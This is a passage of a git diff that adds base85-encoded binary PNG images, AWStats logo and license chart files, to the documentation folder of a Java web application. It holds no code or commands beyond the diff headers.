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 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/docs/images/awstats_logo6.png b/src/main/webapp/monitoramento/docs/images/awstats_logo6.png new file mode 100644 index 0000000000000000000000000000000000000000..52f95895c81881582bb8f86cd335454bd8744f04 GIT binary patch literal 2715 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 BLYe>o literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/docs/images/license_chart.png b/src/main/webapp/monitoramento/docs/images/license_chart.png new file mode 100644 index 0000000000000000000000000000000000000000..f1e2cb228560f7e7fa4796d46563c8be5bd38a91 GIT binary patch literal 24707 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 